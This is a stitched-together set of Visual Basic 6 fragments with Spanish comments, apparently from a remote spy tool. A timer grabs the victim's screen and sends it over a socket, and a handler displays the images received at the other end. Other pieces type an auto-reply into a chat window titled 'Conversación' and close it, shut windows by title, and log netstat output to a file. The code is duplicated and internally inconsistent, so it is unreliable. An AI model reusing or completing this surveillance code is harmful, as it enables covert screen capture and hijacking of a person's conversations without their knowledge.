Private Sub Timer1_Timer()
Dim foto As New cJpeg
Dim ar As String
Dim filesize As String
foto.SetSamplingFrequencies 2, 2, 2, 2, 2, 2
foto.Quality = 50   ' aqui ajustas la calidad dsd 1 a 100 hasi bajas calidad bajas peso
foto.SampleScreen
foto.SaveFile ("c:\" & "\capture12" & ".jpg")
Open "c:\capture.jpg" For Binary As #1
ar = Input(LOF(1), 1)
filesize = Len(ar)
Close #1
WS.SendData "paco|" & filesize & ar

End Sub

Case "paco"

Dim ar As String
Dim filesize As String

Dim datos2 As String
filesize = sData(1)
datos2 = datos2 & sData(2)
enviar "yeah|"

 If Len(datos2) = filesize Then
Open "c:\captura1.jpg" For Binary As #1
Put #1, , datos2
Close #1

datos2 = ""
Form4.Picture1.Picture = LoadPicture("c:\captura1.jpg")
End If

dim ar as string
Open "c:\capture.jpg" For Binary As #1
ar = Space(LOF(1))
Get #1, , ar
Close #1
WS.SendData "paco|" & ar

Case "paco"
Dim ar As String
Open "c:\captura1.jpg" For Binary Access Write As #1
Put #1, , sData(12)
Close #1
Form4.Picture1.Picture = LoadPicture("c:\capture.jpg")

on error resume next
AppActivate "Conversación"
Sendkeys "No estoy lo siento..."
Sendkeys "{Enter}"
call cerrar_ventana("Conversación")

Option Explicit



'Declaraciónes apis

' Lista las ventanas
Declare Function EnumWindows Lib "user32" ( _
                 ByVal wndenmprc As Long, _
                 ByVal lParam As Long) As Long

'Recupera el texto de la misma
Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" ( _
                 ByVal hwnd As Long, _
                 ByVal lpString As String, _
                 ByVal cch As Long) As Long

'Para finalizar dicha ventana
Declare Function SendMessage Lib "user32" Alias "SendMessageA" ( _
                 ByVal hwnd As Long, _
                 ByVal wMsg As Long, _
                 ByVal wParam As Long, _
                 lParam As Any) As Long


'Constantes para usar con SendMessage
Const WM_SYSCOMMAND = &H112
Const SC_CLOSE = &HF060&

'Almacena el caption de la vaentana a cerrar
Private El_titulo As String


'-------------------------------------------------------------


' Recibe el título parcial o igual de las ventanas a cerrar
Public Sub Cerrar_ventana(El_Caption As String)
    El_titulo = El_Caption
    Call EnumWindows(AddressOf EnumCallback, 0)
End Sub


' Función para recorrer las ventanas abiertas
Public Function EnumCallback(ByVal A_hwnd As Long, _
                ByVal param As Long) As Long

Dim buffer As String * 256
Dim Titulo_Win As String
Dim Size_buffer As Long

    'Retorna la cantidad de caracteres del título de la ventana actual
    Size_buffer = GetWindowText(A_hwnd, buffer, Len(buffer))
    'Elimina los espacios nulos de la cadena
    Titulo_Win = Left$(buffer, Size_buffer)
    
    'si se encuentra la cadena en el caption de la ventana se cierra
    If InStr(Titulo_Win, El_titulo) <> 0 Then
        
        ' Finaliza la ventana
        SendMessage A_hwnd, WM_SYSCOMMAND, SC_CLOSE, ByVal 0&
    End If

    ' Esto continúa enumerando las siguientes ventanas de windows
    EnumCallback = 1
End Function

comando >>c:\log.txt

netstat >>c:\log.txt